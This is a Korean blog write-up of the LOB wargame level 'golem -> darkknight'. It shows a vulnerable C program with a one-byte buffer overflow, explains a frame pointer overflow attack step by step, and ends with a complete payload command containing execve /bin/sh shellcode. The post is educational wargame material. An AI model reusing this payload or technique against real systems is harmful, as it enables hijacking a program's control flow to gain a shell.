[LOB] golem -> darkknight

2018. 4. 2. 15:29
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/
 
#include <stdio.h>
#include <stdlib.h>
 
void problem_child(char *src)
{
    char buffer[40];
    strncpy(buffer, src, 41);
    printf("%s\n", buffer);
}
 
main(int argc, char *argv[])
{
    if(argc<2){
        printf("argv error\n");
        exit(0);
    }
 
    problem_child(argv[1]);
}
 
cs



시작, 힌트로  FPO(Frame Pointer Overflow)가 주어졌다. 


프로그램은 인자로 받은 문자열을 problem_child라는 함수의 인자로 주고 problem_child함수에서는 이것을 buffer에 41자까지만 복사해서 넣는다.


이때 40의 크기를 가진 버퍼가 41자리를 복사해받음으로써 overflow가 일어나 SFP의 끝 한바이트를 조작할 수 있다.


그것을 이용해서 함수의 흐름을 바꾸면 될 것같다.


FPO에 대한 설명은 따로 안적겠다.. 검색하면 자세히 나오니 잊어버렸으면 검색해서 다시 한번 살펴보기



일단 공격하기 위한 구성,


1. problem_child에서 SFP 한바이트 조작 (&(shellcode의 주소)-4)의 위치로.


2. problem_child의 에필로그, leave, ret -> mov esp, ebp / pop ebp / jump eip...


3. 2가 실행되면 조작된 SFP (Main의 ebp)가 main의 ebp가 되고 main의 에필로그에 들어간다.


4. 에필로그에서 leave, ret -> mov esp, ebp / pop ebp / jmp eip가 또 실행된다. 


mov esp, ebp로 esp를 ebp와 같은 주소로 돌리고, pop ebp를 통해 ebp를 pop하면 esp의 주소값이 4증가하고 jmp하게된다.


그러므로 그 때 esp가 있는 곳의 주소가 쉘코드의 주소가 되면 된다. 굿...



일단 main의 ebp값이 원래는 뭐였는지 부터 알아보자.



0xbffffa41로 보인다. 마지막 41은 A가 덮어써져서 생긴것이다. 


그러므로 우리가 ret주소로 쓸수 있는 곳은 0xbffffaXX이다. 



버퍼가 저 주소이므로, 버퍼에 ret주소를 써주면 되겠다.


buffer시작주소 : 0xbffffa84


ebp값을 마지막 바이트를 0x84으로 조작하고 , 버퍼시작주소에 쉘코드의 주소를 넣어서 공격하면 되겠다.


payload 구성 : buffer(&(Shellcde-4) 4 + NOP 11 + Shellcode 25)+SFP_1byte(1)



payload : ./darkknight `python -c 'print("\x84\xfa\xff\xbf"+"\x8c\xfa\xff\xbf"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x84")'`



성공

'Wargame > LOB' 카테고리의 다른 글

[LOB] bugbear -> giant  (0) 2018.04.02
[LOB] darkknight -> bugbear  (0) 2018.04.02
[LOB] skeleton -> golem  (0) 2018.04.01
[LOB] vampire -> skeleton  (0) 2018.04.01
[LOB] troll -> vampire  (0) 2018.04.01

+ Recent posts